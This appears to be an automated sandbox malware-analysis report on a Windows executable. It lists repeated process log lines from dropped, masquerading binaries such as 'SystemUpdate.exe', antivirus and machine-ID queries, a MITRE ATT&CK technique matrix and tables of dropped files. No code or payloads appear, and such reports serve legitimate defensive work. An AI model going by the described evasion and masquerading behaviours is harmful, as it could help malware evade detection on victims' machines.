Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122 VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ecb.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ecb.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cbc.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cbc.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cfb.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cfb.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ofb.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ofb.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ctr.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ctr.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Util\_strxor.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Util\_strxor.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_BLAKE2s.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_BLAKE2s.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA1.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA1.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD5.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD5.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_Salsa20.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_Salsa20.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Protocol\_scrypt.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Protocol\_scrypt.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Util\_cpuid_c.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Util\_cpuid_c.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_ghash_portable.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_ghash_portable.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_ghash_clmul.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_ghash_clmul.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ocb.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ocb.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_aes.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_aes.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_aesni.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_aesni.pyd VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\WinHex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\SystemUpdate.exe VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\SystemUpdate.exe VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642 VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642 VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642 VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642 VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642 VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\SystemUpdate.exe VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76642\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\SystemUpdate.exe VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\SystemUpdate.exe VolumeInformation
Source: C:\Users\user\AppData\SystemUpdate.exe	Queries volume information: C:\Users\user\AppData\SystemUpdate.exe VolumeInformation

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Code function: 0_2_00007FF77B1EB580 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF77B1EB580

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Code function: 0_2_00007FF77B204E20 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF77B204E20

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\$Windows.~WS\Sources\SetupHost.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\securitycenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	41 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	1 Replication Through Removable Media	1 Native API	2 Scheduled Task/Job	11 Process Injection	3 Obfuscated Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Command and Scripting Interpreter	Logon Script (Windows)	2 Scheduled Task/Job	1 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Scheduled Task/Job	Login Hook	Login Hook	1 Timestomp	NTDS	65 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	261 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	151 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 NTFS File Attributes	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
T1#U52a9#U624b1.0.1.exe	3%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\$Windows.~WS\Sources\DU.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\DiagTrack.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\DiagTrackRunner.exe	0%	ReversingLabs
C:\$Windows.~WS\Sources\Diager.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\MediaSetupUIMgr.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\SetupCore.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\SetupHost.exe	0%	ReversingLabs
C:\$Windows.~WS\Sources\SetupMgr.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\WinDlp.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\pidgenx.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\setupplatform.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\unbcl.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\wdsclientapi.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\wdscore.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\wdscsl.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\wdsimage.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\wdstptc.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\wdsutil.dll	0%	ReversingLabs
C:\$Windows.~WS\Sources\wpx.dll	0%	ReversingLabs
C:\Users\user\AppData\LineInst.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\python38.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI22562\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_ARC4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_Salsa20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_chacha20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_pkcs1_decode.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_aes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_aesni.pyd	0%	ReversingLabs
